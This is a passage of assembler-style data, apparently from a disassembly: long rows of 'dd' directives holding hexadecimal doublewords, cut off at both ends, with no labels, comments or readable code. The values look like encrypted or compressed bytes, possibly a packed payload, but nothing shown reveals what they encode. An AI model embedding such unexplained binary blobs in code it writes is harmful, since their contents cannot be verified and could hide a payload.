67E87C31h, 4F54048Ch, 0C39547D3h, 0D9F015B0h, 80B5DAB3h dd 85D86218h, 9F112659h, 3467CA8h, 2B68DF0Eh, 0FD620182h dd 75E0B848h, 0E228A352h, 91273007h, 4F58A50Bh, 0B0406048h dd 3FBF00F3h, 53E2D6DCh, 24968D96h, 0CE772100h, 10D95065h dd 0BC48F2FCh, 0A4008C96h, 97BAF16Dh, 4F02791Dh, 6A1C99FCh dd 4CE2434h, 2FC06788h, 9563F48h, 4C93DA8Eh, 90AD1402h dd 0C85CACC4h, 772383A8h, 85809D6Dh, 1EBB9B32h, 0D9D675h dd 7BAE0F61h, 73FD334Fh, 3067A224h, 8E01D5E8h, 8CDF4808h dd 0F0207C72h, 1FFA5F8Dh, 99CB8B6Ch, 92F84458h, 0A2A1BCF5h dd 7090955Bh, 90026F50h, 58CDB186h, 841DE02Eh, 0BDA7024Ch dd 542941FBh, 465E207Ch, 4D0B7C94h, 6214C891h, 0C08CED00h dd 0BAD274F1h, 1825D38h, 0BB7C1BDFh, 5C33B842h, 213004A2h dd 5E6494C7h, 0D7009B46h, 0C6B55AEAh, 0BE16836Ah, 0F4828BB0h dd 40902B9Eh, 0D826FB5Fh, 181AB501h, 0F14C8781h, 0CF4480EBh dd 2F280F5Fh, 8E213B5h, 0B89324D4h, 0B72DD0A2h, 8B2B0080h dd 0B09A4F95h, 548F795Bh, 309EEB84h, 13902ABCh, 0BFFC772Ch dd 8F6CC200h, 9509D1CBh, 53D75810h, 800065Eh, 0F002FCC5h dd 43651C29h, 4EF60261h, 34F0E2DEh, 1A24F911h, 80C49B5Ah dd 8F304380h, 0B7950B2Bh, 0A851AA11h, 5E3E2682h, 0BB8D80B6h dd 67C80F93h, 0F463411Ch, 85A4E811h, 78A8A680h, 1C8C02FCh dd 8924E370h, 74E23E5Bh, 0B400A859h, 8032FECEh, 0FD0D3B40h dd 65BCEF01h, 6829167Eh dd 494605C8h, 0EC815D6Ch, 0A4303925h, 337A12D6h, 0F244F29Fh dd 2A053093h, 9088E48h, 905BD0B9h, 0A8A74068h, 952923C0h dd 67C4B867h, 0AC961560h, 0FA26BA05h, 0E0A81808h, 691901AAh dd 0CA862BB1h, 0A903843Dh, 0ACE5EAC4h, 0F6569BA8h, 183A1E2Dh dd 0C93FACh, 13A35B1Fh, 6AD59229h, 0BFC4080h, 4F51D35Eh dd 8F00DC51h, 6BAD7CBEh, 2FDE5B83h, 0FB2384h, 2AE386BFh dd 0FF01F5BAh, 0FC6B835Bh, 8C683CFBh, 51AD7518h, 0CC00717Ah dd 7FAF98ACh, 7CE47CDh, 0F505DEC8h, 0B1938529h, 0F2287270h dd 30F331FAh, 0E917236Bh, 0E300D978h, 0D78DC8CAh, 0F5951399h dd 9AACD290h, 0D24050F6h, 0E795A71h, 6707F485h, 0A873E9E4h dd 6A27043Ch, 78EC5701h, 0A6006222h, 14063C9Bh, 1CA7D8h dd 8F6AB567h, 29AA9893h, 1575F3EEh, 44F06795h, 0ED6C60F7h dd 62990693h, 0A99235E7h, 165C9280h, 4CC00803h, 0AB24E0A8h dd 302A849h, 0DF3A0393h, 2EBD63A1h, 542AB01Fh, 0F379E8E9h dd 0CB00B218h, 0A0860137h, 0B6C9A109h, 4E2980D4h, 50FB9446h dd 4659CB2Dh, 601CADF4h, 4C2E7148h, 2D81970Ah, 0B202B2DCh dd 0D449532Bh, 3700D63Ch, 0D146380Ch, 12040695h, 40142B5Fh dd 8AF5F99Ch, 483E5045h, 992122Ch, 518EACA0h, 606FC0E4h dd 5575233Ch, 7EF27007h, 37002C01h, 223B59h, 6A259D1Bh dd 0BEFCEAEBh, 98E34400h, 0A13AA497h, 47D4F4Bh, 0A64E4904h dd 0D7FAE0B0h, 6F2D025Dh, 0E48DC1A4h, 29122872h, 0F0F0D94Ah dd 9454983Eh, 8900DC3Ch, 0AC3179A8h, 0B69CD9FBh, 0D3610F7Ch dd 95472561h, 0DA9461FAh, 52DDA098h, 0A54F2409h, 34D84876h dd 0A3830087h, 0FEC943BDh, 3F79BCB8h, 0D1C86F00h, 57B93D4Dh dd 0BF3001EFh, 0EC5DFC50h, 37DB603Bh, 6CAC49h, 1ACFB10Ah dd 0FAE6C695h, 5C4DF476h, 0DD044Ch, 33DDD118h, 5A12B03Dh dd 50F8F026h, 0A0E1CF27h, 3CD714A8h, 7218E470h, 9292AFCh dd 7837B794h, 95DA10Eh, 0C5480B89h, 6096E480h, 90570BDh dd 2ADFB139h, 0D705ECF3h, 9090D65Bh, 3EBE1D7Bh, 4059F985h dd 110070BCh, 0FCD651C7h, 789DF91Dh, 5CFE5DAAh, 1BE32901h dd 3099AC20h, 6400EF8Bh, 0E037C9Ch, 27E4CBB1h, 0D4CD4F6Bh dd 0C5600344h, 0AF5AC7FAh, 95E97C39h, 4029EE00h, 0AA6F2100h dd 3F55D518h, 7170B48Eh, 0E00B0DADh, 0CECE0588h, 0EEA7C099h dd 0BE08F9E9h, 8B7D4190h, 0E8C5C993h, 0F703D697h, 0DEA48599h dd 0A960E78Dh, 4CC7B52Bh, 9C167CFDh, 0F35C848Fh, 3069B21Ch dd 97AA7Bh, 1E555EC0h, 4CE095ABh, 22804E23h, 0B40B7395h dd 45314454h, 0A440B175h, 0CD92612Eh, 0CFB03EC6h, 4066B681h dd 0C4140A2Bh, 0CB58B5E2h, 94396731h, 45217071h, 4F8DA470h dd 8ACC8C89h, 0C0C3C927h, 0F99EC7DCh, 388B44Fh, 0F644ABC2h dd 35EB40CCh, 0B03EEBFh, 3027E213h, 0A8A9CCE4h, 0F5D92F00h dd 0B6537B44h, 78EF1700h, 0BDE574DBh, 255109B3h, 14049345h dd 0EC24F94Eh, 0E8B4001Dh, 4CC86A4Ah, 304BFD7Ch, 13E170F0h dd 0E393367Bh, 3002B2BCh, 1A099515h, 0E1E253E3h, 14688FC8h dd 9E18BE9Eh, 2D9718ACh, 78A27931h, 58C62CFCh, 0E64D4444h dd 4EF99E40h, 0FC7C402Ah, 826D511Fh, 24202FF9h, 0E00D8F4Fh dd 271E1F5Bh, 58456F13h, 58616BE4h, 0C93BD815h, 0F4C5059h dd 58E62BD5h, 0B8DCFC9h, 0BE8032ABh, 3D13C71h, 513FF618h dd 0B8E40546h, 84E9FDC4h, 1C0097B8h, 0C8F5BE33h, 17760383h dd 0E0D5822Ah, 29E0C390h, 0CC8F1D00h, 3A0B4AB8h, 0F8FA2551h dd 6BF99471h, 0EA020E18h, 0CD29DA11h, 0EC0450F3h, 75E11454h dd 5E888A3h, 3EE9018Ch, 4F88ECB7h, 0B29ACC54h, 95E86FF0h dd 0B842BA12h, 0EFB82CF9h, 112BF508h, 206627A8h, 66712099h dd 60045D18h, 4F6AE396h, 9704F8F2h, 904CCFDh, 931C6453h dd 0A1CD78C8h, 84156D16h, 27738201h, 0C12E6182h, 284DEF6Ch dd 8CF5BCFCh, 0FD09DB7Ch, 0DA233570h, 13F70AC0h, 48CB015h dd 0E6B54F7Ch, 39D1B0F4h, 61151D6Fh, 34C20E17h, 0A09F21A0h dd 6D0411DFh, 5B2D6227h, 190F4888h, 104FDD92h, 2228687Bh dd 0DC54BE4Eh, 3C441C48h, 253B41B3h, 236C2E70h, 4FBF006Ch dd 1523F635h, 0C81DF09Ch, 0C4D4C72Fh, 8DBE60FAh, 47F60931h dd 0D0543B32h, 606D620Bh, 34CD287Ch, 0F8B80273h, 1C6E5FD8h dd 31D7F600h, 432BDEB1h, 0A5E0E495h, 60F6C414h, 383DDDEh dd 6A27A68Bh, 0A812673Dh, 84B84357h, 15AD0921h, 806B9128h dd 0EBCED589h, 0F177041Fh, 814611FFh, 13F9D70h, 31A756F8h dd 85004851h, 7DDD876Bh, 22680339h, 7A3A3DCFh, 0DB60F0D8h dd 0FD0F5F00h, 68D1FFE1h, 0F9B70D13h, 2BA93D24h, 0C78BD89Bh dd 224A8841h, 309AF248h, 60085BAh, 0D9CB424Fh, 9C28F9D0h dd 2B638B8Ch, 0A80D244Ah, 3E8CF139h, 0F5ABC44h, 214A0101h dd 20526A36h, 0CC406CEDh, 5A624099h, 0C060ED97h, 0D197669Eh dd 581AB600h, 5EE5E1A3h, 0BF560F68h, 0F70BDBEBh, 660B04Dh dd 1CCE6419h, 4E97E344h, 0FB40A8F5h, 16D411A4h, 92ADD8C2h dd 0B01F5568h, 6E809411h, 0A75EFBF9h, 0F78DD1Ch, 91B01D67h dd 0D42882FAh, 485EC085h, 8E2B25A7h, 0CD178CDBh, 0ECC41612h dd 6E3FBCF1h, 97581758h, 10B5DC12h, 5FA98141h, 86E6Ah dd 97CA5FC9h, 0B6A30125h, 4C969D44h, 0CD10AB21h, 6B71E0B4h dd 0DA5BD710h, 4A03AC96h, 8AC251D3h, 1DC8D19Dh, 0CC9F4A9Ch dd 67361C08h, 0D0814820h, 5474B8AAh, 5D01DC00h, 3E9C44A9h dd 5A7B1759h, 0EE84DCA8h, 40022CB6h, 2AA3E73h, 786D10AFh dd 59423EE0h, 3D2D2796h, 0DA5354C8h, 98B7934Eh, 396ABCA0h dd 0A6D2CF1Eh, 0FE78097Eh, 0C468C548h, 92F36095h, 7B9F09CBh dd 1854573Dh, 0BCF95392h, 3AB64916h, 6A2350h, 0BE5EEDD7h dd 3909BF38h, 7619257Ch, 2BD50254h, 0ACA29282h, 9117F7B5h dd 0B7AC8069h, 61597A27h, 0C988B844h, 48C42E13h, 0D46EBFh dd 0DA95CBE3h, 334A29A6h, 505855F1h, 8A6253E0h, 6B37B0C9h dd 5D85E87Ch, 8CCA0013h, 0CC49083Ah, 0C2386836h, 0C9AA85B5h dd 428098F9h, 4CDD0h, 7C0C0383h, 0CA53D8E1h, 0CB78D4Fh dd 0A69AD712h, 6243E008h, 0D0E8016Bh, 0FDFFCB25h, 886D35h dd 0B30B1ADAh, 2789871Fh, 4C22BF9h, 46760C7Ch, 66C500F5h dd 5B3DA559h, 0C86E610Ah, 105FC7C0h, 17A1926h, 0BDF98791h dd 0E0C9D6B1h, 3430E1E4h, 0EAC2C441h, 0B64500FDh, 383A16F6h dd 1A008467h, 22636198h, 48FD4983h, 19005121h, 82BFF080h dd 65185196h, 0E08667Ah, 3F20C022h, 47CF078h, 3C0A3Ch dd 0CAB521F9h, 0B922A3h, 781998B1h, 826EC644h, 0E157F800h dd 37B35406h, 86610E97h, 88603A7h, 4E181028h, 4D49310Ah dd 7FBC00BEh, 261DCDB6h, 8CCA5AEh, 0FA722149h, 0B5843CBCh dd 5EF2AF80h, 936B2536h, 50162000h, 87FF21B0h, 7F5430ECh dd 311D652Eh, 406CB430h, 0B7C12Dh, 5A9FD3BDh, 0CA3BE788h dd 86888369h, 26933A1h, 0EC6B58AEh, 908CA77Ah, 54A44F20h dd 80BCBF04h, 4662D5B6h, 0BCB77320h, 38E72C59h, 847830F8h dd 6201C2BFh, 0F6582804h, 0C4414956h, 4361215Ah, 6332DECh dd 1573F9CBh, 8100B164h, 0EA87E553h, 3331464Dh, 7A083DE2h dd 4BA32100h, 0E88F7EE5h, 0E1F73E26h, 0CDF8E980h, 1EB866BEh dd 682DCF30h, 53DDBF86h, 42E2BC08h, 7E47D030h, 38E68Ch dd 27ACFF6Ch, 0EB88CD60h dd 0B89210Ch, 4A313Bh, 48BB7FF6h, 7709579Ch, 7ECA6C07h dd 8FC360B3h, 8B400933h, 148EB22Dh, 86413898h, 0AB532400h dd 0A2FD8579h, 3D08CC71h, 7E006221h, 0FE409C24h, 3E4A35Ah dd 0ADED0413h, 38D1AEAh, 2AE04AA0h, 22E13018h, 3CAE7E39h dd 3C14DA4Eh, 7D24E867h, 0F07AC078h, 664682B9h, 39001222h dd 4BACF072h, 0C08448Eh, 9EE2AD0Dh, 0B6EA331Eh, 0D060A731h dd 708334F1h, 0FAE6B330h, 71E86040h, 0E551048Ch, 623DEA85h dd 49A12076h, 711F78E5h, 6852D784h, 0FEB81801h, 0C0064C66h dd 7F0F8246h, 8E48BEF0h, 3E4015C4h, 3B19F077h, 6FB24D00h dd 0E870B701h, 90B05408h, 35EB0021h, 0E2803831h, 2E6822DCh dd 0B111D018h, 52248580h, 458C71ABh, 247DC835h, 80F1677h dd 94B67E70h, 1B82324h, 0AB59248Ch, 883618A9h, 24758468h dd 57AE6702h, 0C0EF0C79h, 1A03C3Fh, 0EAA5476Ch, 2030F849h dd 0A63508D8h, 6C1FC957h, 0BCB90163h, 18A5B67Ah, 0B16D8844h dd 9530BC01h, 0B0313459h, 4A2D198Eh, 0C004A0B5h, 845F15A7h dd 218C4F9Ch, 0DC296F0Ch, 5D7AE500h, 1AED30BDh, 689A00E7h dd 310D4E73h, 0EA8867BBh, 81B3A2AEh, 99168014h, 0B63E19BCh dd 0E82A3A20h, 0F9496CB2h, 18038E20h, 72582002h, 448906C3h dd 9810424h, 40211860h, 0DBC350h, 0A8461B3Eh, 0B50BF78Bh dd 7206453Ah, 6D9D8D0Ch, 0E06A0C2Ah, 2EE85452h, 23C3725Ah dd 1D115489h, 0C3524203h, 0A7A0DCEBh, 6D005BE4h, 89A1BB25h dd 0C10355B5h, 0FF238156h, 0C19FCBFEh, 851661BDh, 0DB8C6618h dd 14233A2Eh, 9E9A83Dh, 55759600h, 0CF825986h, 7B5FEE4h dd 0F67D7CB9h, 124660AEh, 8B7CE731h, 0A0F79D6Fh, 840F04C3h dd 147C337h, 1E865185h, 0ED95FF0Ch, 2C81A718h, 18122DFh dd 5C0F2AD0h, 9474D850h, 8940D706h, 205C2404h, 0E9302E81h dd 46C5550Dh, 956B0022h, 9DFD344h, 4D06A9BAh, 4B4E9AFh dd 8B0F1824h, 11E8311Ch, 6B1E0BC0h, 7703D81h, 0EB4EC1D2h dd 4C2311A7h, 0D9F5F4C2h, 0D5EE98C0h, 0E0B05EF9h, 0D951831h dd 70E68208h, 0E971E40Ch, 3CFF5107h, 83801E42h, 0B60FA3DBh dd 9D3389D8h, 96BA337Dh, 57C8812Bh, 0C3725F18h, 117C8923h dd 57470215h, 0A1D143C3h, 8B351C95h, 0A0870FE4h, 308D892Ah dd 0C16A12CDh, 0FBA704E8h, 6601C44h, 0CC263914h, 0D4001422h dd 7DBD333Bh, 605AC328h, 310012E9h, 0F42299CFh, 3FFF3692h dd 0EE893FA6h, 40014696h, 44AD506Ah, 9D5142BDh, 61001069h dd 0A5E2F766h, 6016C452h, 5C69D38h, 2BF8B70Fh, 23A83AD8h dd 54B10616h, 0A1209665h, 50930032h, 0BACE8B60h, 0EA5881EFh dd 0A0937B2Eh, 0A18B5F78h, 5C891185h, 5B0A9D29h, 85B5847Eh dd 5108C833h, 0C359398Ch, 384C8913h, 51014136h, 269395C3h dd 0A420EA05h, 263250DDh, 5B398C53h, 5C8911C3h, 438A1988h dd 0A800A753h, 687135EDh, 3AC91E8h, 0D2619536h, 0D1A3CCD0h dd 60440400h, 0D681F27Dh, 1C7509F6h, 0A8185E32h, 0CC00D29Dh dd 0E70619ADh, 690B21h, 0E2DA4C7Bh, 0BF5237EDh, 9B3CAC08h dd 55B0B205h, 0E4C35D30h, 226C4689h, 5545001Ah, 0DE17EDC3h dd 0DD243F79h, 0EF04896Ch, 0C9826F95h, 17CA42FCh, 801B112Ch dd 0E2EEF49Eh, 9920039h, 0F613C97h, 2489183h, 0C35688DBh dd 8991C35Eh, 83032374h, 8CC35646h, 6DDA081h, 0FD030405h dd 1149120Fh, 0B1410260h, 0FAB80028h, 0D01DEDDh, 0BF0F5661h dd 1D375EF2h, 0AEAC1F4Dh, 94FD7000h, 0DCC686F8h, 0E806183Fh dd 6055250Ch, 8A9BA41Fh, 213382BDh, 4040411Fh, 0EFC9BDA0h dd 3C389AA4h, 0A699951Dh, 4BF6832h, 95A650F7h, 23C53AE8h dd 41C60217h, 0E642E929h, 311DF340h, 284B5881h, 0F4C01A88h dd 1BB2858h, 235467DAh, 0B00295B5h, 880F6252h, 0EA0153A7h dd 43301DE2h, 753903DFh, 114EE8Eh, 0E481A6DAh, 1021BDh dd 0B1B9F861h, 0D1F2290Dh, 7C61815h, 79BF663Fh, 0FA8B4025h dd 5AA5C183h, 78601AE4h, 6B022DA8h, 0FEFAFEEh, 33208A80h dd 0D93BF307h, 0A91A86B2h, 11261D8Dh, 8EBA8018h, 2E295E25h dd 133F5F57h, 4B6FD9h, 983655A5h, 5DF68165h, 0C92225C1h dd 0B08E837h, 24BE0DD1h, 26C2FDC8h, 10AE29F2h, 335F2E17h dd 467426CAh, 266A001Dh, 0AA93998Eh, 0EC5C5E92h, 422507Dh dd 0BE6629C0h, 0B82B220Bh, 19DE019Ah, 3D6791AFh, 0ACA7A034h dd 0E92F6C63h, 180B010Eh, 8815BE0Ch, 0BD5A2095h, 0D964D701h dd 56E9C4F2h, 11C49FC2h, 0D1CB8215h, 76D5C4E8h, 2E58B509h dd 2282CA00h, 0E2A04CFh, 0DEB924E7h, 2444248Ah, 0A04667E5h dd 0D50C45A0h, 9E881800h, 22C15E4Dh, 0B6FA058Ch, 80615AA6h dd 2051B570h, 63C0B283h, 0D7D8D312h, 0E985C7E0h, 991CC013h dd 0FC3BB877h, 0BD8126C5h, 92D07F88h, 700F7992h, 0F1CA9182h dd 689D1815h, 0CFCB46C7h, 0ADFF2227h, 0C0015E6Eh, 294F1B4Dh dd 0D8D003Fh, 89821A32h, 2A9A11B5h, 31C0E873h, 0C858949Dh dd 762275F9h, 3CD52C77h, 364960AAh, 0CAF8B624h, 7EF89C01h dd 0E38BB472h, 29ED5088h, 0B05E5F0Bh, 0B3F88B11h, 24DA30F3h dd 0BF98907Dh, 0CEDC612h, 1B23133Ah, 0CA5D7C00h, 305720EFh dd 0CF5032A3h, 8B2EB3DDh, 490D5FFBh, 0EEF4750Eh, 45D7427h dd 0A9176E6h, 0C0F7DB24h, 4051C91Ah, 0ED852C29h, 0FE98C7Ch dd 0F601DE25h, 38F3F449h, 62DC59D2h, 9B6F0B22h, 97B71D97h dd 0D80FEC87h, 0B503A730h, 2016419Dh, 0BC19F72Ch, 50586359h dd 0E2F92819h, 516B3016h, 8D01F205h, 9420212Dh, 0C20CB9F6h dd 44E1DE0Ah, 0C57EAA80h, 0FD94367Ch, 0FF4902DCh, 2EBD9D31h dd 6BC73380h, 433FE92Fh, 0DB9F1F7h, 4B1815D1h, 70065E58h dd 49953188h, 8B006C75h, 0E9CE81C1h, 7814139Ch, 41404EBh dd 333D8D89h, 1602BF0Eh, 0E7535744h, 6E44370h, 0A9858DF7h dd 0B5267B28h, 50871EBDh, 5F60F53h, 0F8BF0235h, 5F45E544h dd 1EC80C70h, 951AC06h, 87483185h, 73E95E56h, 3017B29Ch dd 45E42E1Eh, 0FE0DDFFEh, 0A8504B4Ch, 510FF230h, 21CAFD06h dd 2305C083h, 3017A224h, 0DF0175C0h, 5260907Bh, 0F4009E9h dd 351E5Eh, 385BF1E4h, 0B95259EAh, 569F9A0Eh, 5061E76Bh dd 8B60431Fh, 248F9FF3h, 0A88C310Fh, 3F6800DBh, 524A6432h dd 0FC003D55h, 3B5ADF0h, 56585A8Eh, 41F0DC90h, 3CC66B2Fh dd 9008F78Bh, 17F52063h, 0D2EF1F90h, 2130F672h, 8DF2192Fh dd 0A7B01F9Dh, 690F9E0Eh, 6C28EEh, 0FFCEF1D7h, 0DD9D89D3h dd 85431463h, 8B4F5C6Dh, 71FE908h, 843FE81Bh, 1AED4FC1h dd 0BB9BCF55h, 0BC0BDBDDh, 9E090FBAh, 0FA863457h, 0C3499B37h dd 9FB04006h, 5DB52BB0h, 9D8B800Bh, 4C1468E3h, 8C16E883h dd 43ECF41Fh, 0E42EE39Ch, 0F18B6681h, 8F60DB0Bh, 81008458h dd 8335B7D6h, 0A309CBBDh, 84DA1199h, 0E9F90C07h, 0B0F50D4Fh dd 11481E8h, 18F2D563h, 5D3D730h, 60DFAE80h, 8EC0889h dd 8EBF6601h, 1C7161E6h, 5714E333h, 2A9C3F82h, 0F5EE0A62h dd 699C8D49h, 126708h, 9241E781h, 91B46616h, 78D65C68h dd 13A416B1h, 0B6AB84F1h, 9A8E008h, 13CD2DB5h, 23409231h dd 301AF228h, 6104D8CAh, 9E772A7Fh, 0A6487BA3h, 11A8510h dd 0A55FEABEh, 0C25506Ah, 0EA30A125h, 288024Eh, 362E92Eh dd 1B11459Dh, 0DD507A80h, 3F14A587h, 4BD8F29h, 0B05577E6h dd 0C9FFDFC0h, 980862E8h dd 0A6D230E5h, 0F6B70F05h, 758371E4h, 92E2847Dh, 0FB87527Eh dd 686254Bh, 0E70CDDD3h, 4920C34Eh, 877820F6h, 4E6116E4h dd 5A3430AAh, 19270E04h, 2BF2D82Bh, 383015F2h, 24DF9622h dd 84BE9CD5h, 0C402312Fh, 0DFDC82D4h, 89C60129h, 61CE241Ch dd 16691140h, 8D8C0FC5h, 8BC3EE75h, 0C10F245Ch, 1EB9B529h dd 0CEB00C92h, 0C0178820h, 266B259Dh, 0F08BCDA0h, 837BCCA2h dd 0A43DAB71h, 532A3622h, 0D688EC5Fh, 0EBA648F8h, 39F714C2h dd 5FEA88D2h, 916465Ch, 7B1E03Fh, 20089910h, 32292DA9h dd 2D158FB2h, 0E2891411h, 0F0F92B24h, 0FE29B725h, 1C712658h dd 72002018h, 5D75AEB6h, 0C254F2C9h, 1A18855h, 40D139D3h dd 88052830h, 2A1333BEh, 48C83AE5h, 4DBD2629h, 2A08A70Ah dd 8AE27D0h, 4BC78ACAh, 23417102h, 5211C909h, 5BEFB114h dd 30AEC08Bh, 0D2A1BD09h, 0F4F1C887h, 44A5C78Ah, 317C6019h dd 78B91329h, 0BFE9D03h, 0C01A88D1h, 0FF1CE034h, 0B1F70C14h dd 34F131F7h, 0BD24B9BDh, 0FAC35D2Bh, 453B77BCh, 20205F09h dd 760199Fh, 621142F8h, 5D8DF357h, 0FC5FC113h, 0A76028D8h dd 611DE494h, 0E4F0C8DDh, 0C26D04E6h, 0A2B09C02h, 6407003Ch dd 8B3E4BC9h, 0E516261Dh, 132508D7h, 1251E90Eh, 1104507Bh dd 0C8719531h, 2D99C0DDh, 631819D1h, 7973504h, 0F681FF91h dd 0C104244Dh, 0A72AADB0h, 20490C5Fh, 610E4159h, 0C77D26h dd 5FCEABDFh, 34C0B2BFh, 9B901D3Bh, 86F0C19Ah, 0E121398Eh dd 0FD821D04h, 0E57979F2h, 27A47E44h, 0B56EBA0Bh, 187E8171h dd 0C56939EBh, 0D24C7DB9h, 7E8789DAh, 2789C934h, 1491D3B1h dd 0A74054D9h, 0BC8160F3h, 627104BDh, 0A65BC8E9h, 0C517AA00h dd 6690615Bh, 690602BEh, 1315B589h, 6FD09CFBh, 0EBE41637h dd 80FDDB15h, 455A966Ah, 55DD053Eh, 0A69FAFDEh, 0CF7DE158h dd 4431AB20h, 1B881411h, 17820051h, 0A305696Dh, 4F000898h dd 196F503Ch, 50B355D0h, 4488B352h, 0B4A0510Eh, 438220F1h dd 5F4984E1h, 244D422Bh, 479660C2h, 60154405h, 68E84C75h dd 0C4150Ah, 8F57AC81h, 6A2639CAh, 0D50D7058h, 0A530B317h dd 44EBA75Fh, 0C548601Dh, 0FE33F416h, 5BFD17E1h, 0F8DF0364h dd 0FF9AEDE9h, 19351168h, 208D8980h, 604C2DFDh, 8C1BE83Fh dd 59551600h, 3A629E37h, 1CB94BE6h, 8B37AD2Eh, 31C5B500h dd 0E48D21B0h, 0B29DD224h, 0C3705F74h, 74722AE0h, 0E9800C48h dd 9D3A61D7h, 1F3B1A4Eh, 12021723h, 0D0E97F36h, 6077155Eh dd 0C94D478Bh, 0E00ECBCh, 3BB11F51h, 9801E183h, 5822437Dh dd 8C14B81Fh, 9D892E04h, 0F2D61B3Dh, 0D85B93F9h, 3E24C072h dd 7900C60h, 95957876h, 0E2617E07h, 6A648E0Fh, 0BDC8FECh dd 126B543Fh, 3666088h, 32457B9h, 9D31B1B5h, 2235B661h dd 0C1BF2A51h, 8481D23h, 481A934h, 122985E7h, 0B10EA808h dd 18A1A7h, 12C3DB81h, 5F299DDFh, 0C94A7801h, 9127A035h dd 2C9E4CD3h, 0FE796F82h, 0F005266h, 8B2BDFE5h, 44DEE8h dd 0BA7F7122h, 88535E4Fh, 0D58CF30Ah, 6648E98h, 0B9CB8B4Eh dd 5820316Ah, 9760A9BEh, 2B1A3954h, 70DCDB8Ah, 0A7F26213h dd 7E1EB903h, 144A0258h, 0C118897Eh, 1AE81894h, 24EEE8Ch dd 224AD4EEh, 0E19AF807h, 2439F102h, 3C69E191h, 0BCA2496Eh dd 46896201h, 0C14F13E9h, 0BFB08F60h, 0B3C15D8h, 0F8294A8Bh dd 3F2592B5h, 1D23C8h, 6FD55D29h, 61712294h, 8B40E614h dd 8C1CFC5Ch, 1B090E00h, 3395788Bh, 88684A5Ch, 110030FBh dd 0CE46D920h, 118B5F51h, 4B07899Dh, 0FC1B52C8h, 0B579F3h dd 1959FF0Fh, 67785D0Ah, 0D7764204h, 77C092F7h, 0A6B1E8F0h dd 3D2A4888h, 28C18FCh, 0E3EA4DD2h, 6DC0512Ch, 66C25AD3h dd 40A4F2C6h, 49958B3Ch, 1D4D44B1h, 618C14ACh, 0F6DA5CD6h dd 2A026492h, 99D81793h, 8C7C09B2h, 5086F20Ch, 6D4354DAh dd 19A25142h, 0BE3DB30h, 70A39D2Fh, 0A179C404h, 57A8DAC5h dd 431911E1h, 492434C4h, 55C168DBh, 28CBD4h, 820D85E0h dd 94096607h, 0CF45D4ADh, 0A8A85D4Dh, 268C0E4Eh, 1DCACC88h dd 3D372FF5h, 3476E100h, 9685C7DCh, 9AB7E91Dh, 34B6218Eh dd 40153FBFh, 0DCE99E61h, 0EBFCA101h, 0E99D6107h, 0D491BB8h dd 0C904A1BCh, 0B302634Eh, 0C1DE3782h, 0BE787582h, 416E5Ah dd 93D529E5h, 0E95EC66h, 459D095Fh, 0E96AA472h, 0C2D47558h dd 78A8D88Ch, 0E35423Eh, 77B5FF01h, 9FC0CC84h, 0ED0E7D18h dd 0F089D0F0h, 8BA5C055h, 0CEFC1FEh, 6E046840h, 247B820h dd 0E00DA557h, 9550FFC5h, 3261E91Ah, 4585C66Bh, 567B002Ah dd 0C530DF68h, 557EA962h, 0A1283413h, 61630E33h, 1A6A50A7h dd 6E56057Ch, 0C3611200h, 0EBEAE0C1h, 9104B00h, 0C53C2F0Eh dd 3DAF01Ah, 0D41CA4ACh, 0E48B5CD2h, 3134CE80h, 871BF53Ah dd 0D129B327h, 0C7DD5B90h, 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h dd 4128F001h, 0D427E600h, 0E9C3727Dh, 2575940Eh, 30C1644Dh dd 0D6F86007h, 0C04309E9h, 0FB0E5129h, 590C4BBFh, 7985BE81h dd 0BD830006h, 589BAA19h, 3E5C5EC5h, 1C23BFh, 0A29D7C59h dd 0BD12305Fh, 21A0D9BBh, 28568112h, 7FC134A4h, 29FD7581h dd 0B8596100h, 0DBBE8BA4h, 4DCE541h, 17F3FCh, 4A8DAA94h dd 3F67CBE1h, 68C2FB3Fh, 8B0F1DB9h, 28205C0h, 0E6F9080Dh dd 751105C5h, 0D1128809h, 13748329h, 3C085350h, 2404D0B8h dd 0B0EE04C9h, 0D337800Dh, 1CAC585Bh, 1A0C1141h, 573D8E3Bh dd 0C16DA52Bh, 0EF205959h, 0DB6CD2F9h, 42C08E98h, 87CE8B66h dd 10F999A0h, 7617EF80h, 1DBBFE0Fh, 0D350F3B1h, 1E04A287h dd 8B2F7EB9h, 0F0FEC75h, 776842EBh, 9AC48B9h, 0E56F1F4h dd 0BA605032h, 1BDCB422h, 0B7006771h, 0F648086Bh, 0AE360383h dd 615F2EF5h, 10E86519h, 83C44229h, 0DFAD0062h, 93FE1D63h dd 30013DC1h, 8A24574Bh, 0E8285FF5h, 91A20227h, 8525052Dh dd 8195391Dh, 0F5BF0569h, 94538BA3h, 1923083Ah, 0B7C4C700h dd 52971EF0h, 0EA0E8AE9h, 0FB24901Fh, 0D799824Bh, 0DE8C8AAAh dd 8FAD5200h, 0B2FCB720h, 0C6BA4CA1h, 0C649C358h, 81083464h dd 631C98Eh, 5BEB4374h, 0F800AB6Ah, 4D394770h, 6016413Fh dd 6020E890h, 7F569FDh, 11D44B0Fh, 0B056709Ch, 5B0061DCh dd 0A58FD808h, 3D801A37h, 7C48A4E7h, 3231C513h, 0F924B714h dd 2847DDD8h, 4490DB80h, 0A700D204h, 0D68BD49Ah, 0A48AB250h dd 0F7A8ECD7h, 0E484D2C3h, 6E584AC5h, 0FF3500BCh, 0D6EA9E6Fh dd 189D16C2h, 0B1D65C0h, 2030C9BAh, 9149BD89h, 4C264CE5h dd 8C1CE8DBh, 0BA2B9000h, 29954E63h, 0BE4948E5h, 0E0098D14h dd 0F4569942h, 8973EFF0h, 504A955Fh, 0D188C451h, 35E56613h dd 39DC2D94h, 258354A7h, 0EB129031h, 280EBF88h, 0EC57DE2Bh dd 0FC68F880h, 907FCA94h, 0E62404C1h, 0E60A4520h, 19DAE04Ah dd 0C2890F15h, 142C886h, 0BDF9E9B7h, 0FC382D01h, 0EDF45D3Dh dd 0D7281494h, 0D02BE429h, 44D2DEDh, 77007BC7h, 1D6E91F4h dd 0D4A285C7h, 3558A731h, 2DB381B4h, 1516051Bh, 50393DE0h dd 0B6D1F233h, 17467CC3h, 54CDD50Eh, 5876F4B4h, 7584CA29h dd 2CAE3219h, 1A415526h, 105D9867h, 0C09E3CB9h, 0CA8BDE20h dd 31C10168h, 5260CBFBh, 3370EB0Fh, 4EB9582Eh, 61451A00h dd 5C243481h, 1F1494F8h, 0C9109F60h, 0BE937F06h, 0C4D8B788h dd 1B0FDE9h, 16A4ED51h dd 0DED4B39Eh, 958D0E37h, 0AA224076h, 0B781C2A1h, 747F93D2h dd 0A0E59DF9h, 9482BF59h, 63D2F153h, 